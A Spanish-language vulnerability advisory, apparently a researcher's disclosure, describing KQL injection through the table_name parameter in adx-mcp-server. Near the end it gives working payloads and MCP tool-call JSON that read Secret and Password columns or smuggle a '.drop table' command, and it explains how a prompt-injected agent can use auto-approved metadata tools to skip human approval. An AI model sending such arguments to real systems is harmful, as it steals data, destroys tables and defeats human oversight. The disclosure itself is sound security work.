
KQL Injection en adx-mcp-server a través del parámetro table_name — CVSS 8.8
Gravedad: Alta (CVSS 8.8)
CWE: CWE-943 — Neutralización incorrecta de elementos especiales en la lógica de consulta de datos
Afectado: adx-mcp-server <= 0.1.0 (commit 48b2933)
Aviso: GHSA
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33980
Tres herramientas MCP en adx-mcp-server interpolan el parámetro table_name directamente en consultas KQL (Kusto Query Language) mediante f-strings. Un atacante o un agente de IA con inyección de prompts puede leer cualquier tabla del clúster de Azure Data Explorer, ejecutar comandos de administración (.drop table) o ejecutar consultas analíticas arbitrarias — saltándose el límite de confianza entre las herramientas de metadatos "seguras" y la herramienta cruda execute_query.
Estaba revisando la lista awesome-mcp-servers buscando específicamente servidores MCP que envuelvan plataformas de datos en la nube — estos son de alto riesgo porque están diseñados para dar a los agentes de IA acceso directo a bases de datos, y los parámetros de las herramientas MCP son totalmente controlables por el atacante (cualquier LLM que procese datos no confiables puede ser inyectado por prompt para pasar argumentos maliciosos a las herramientas).
adx-mcp-server me llamó la atención: envuelve Azure Data Explorer, una plataforma de análisis basada en Kusto utilizada en entornos empresariales. Abrí server.py y busqué f-strings que involucraran parámetros de herramientas. Tres coincidencias en 30 segundos: f"{table_name} | getschema", f"{table_name} | sample {sample_size}", f".show table {table_name} details".
La parte interesante es la omisión del límite de confianza: el servidor expone tanto una herramienta cruda execute_query (que los clientes MCP podrían requerir aprobación humana) como estas herramientas de inspección de metadatos "seguras" (que se autoaprueban). Inyectar a través de las herramientas de metadatos te permite omitir cualquier política de aprobación que el cliente imponga. Eso es lo que elevó esto de "bug de inyección" a una violación real del límite de seguridad.
La sintaxis de comentarios de KQL (//) hizo que la omisión fuera trivial — añade // para comentar el resto de la consulta original y ejecuta lo que quieras.
Archivo: src/adx_mcp_server/server.py
# Línea 228 — get_table_schema
query = f"{table_name} | getschema"
# Línea 248 — sample_table_data
query = f"{table_name} | sample {sample_size}"
# Línea 268 — get_table_details
query = f".show table {table_name} details"
Las tres pasan table_name desde los argumentos de la herramienta MCP directamente a client.execute(config.database, query) sin ninguna validación.
KQL permite encadenar operadores de consulta con | y ejecutar comandos de administración con prefijo .. El carácter // inicia un comentario de línea. Esto hace que la interpolación con f-strings sea trivialmente inyectable:
f"{table_name} | getschema" → añade | project Secret // para comentar | getschemaf".show table {table_name} details" → inyecta \n.drop table para encadenar un comando de administraciónPor qué esto importa más allá de una herramienta cruda execute_query: los clientes MCP a menudo diferencian entre herramientas de solo lectura "seguras" (autoaprobadas) y herramientas de ejecución crudas (requieren confirmación). La inyección apunta a las herramientas de metadatos "seguras", omitiendo el límite de aprobación.
Consulta poc.py para una demostración completa. Cargas útiles principales:
# Exfiltración de datos a través de get_table_schema
# f"{table_name} | getschema" se convierte en:
# "sensitive_data | project Secret, Password | take 100 // | getschema"
# → // comenta "| getschema"; la consulta lee columnas de sensitive_data
table_name = "sensitive_data | project Secret, Password | take 100 //"
# Comando de administración destructivo a través de get_table_details
# f".show table {table_name} details" se convierte en:
# ".show table users details\n.drop table critical_data details"
table_name = "users details\n.drop table critical_data"
Llamadas a herramientas MCP:
{"name": "get_table_schema", "arguments": {"table_name": "sensitive_data | project Secret, Password | take 100 //"}}
{"name": "get_table_details", "arguments": {"table_name": "users details\n.drop table critical_data"}}
.drop table, .drop extentstable_name, convirtiendo la inyección de prompts en acceso completo a los datos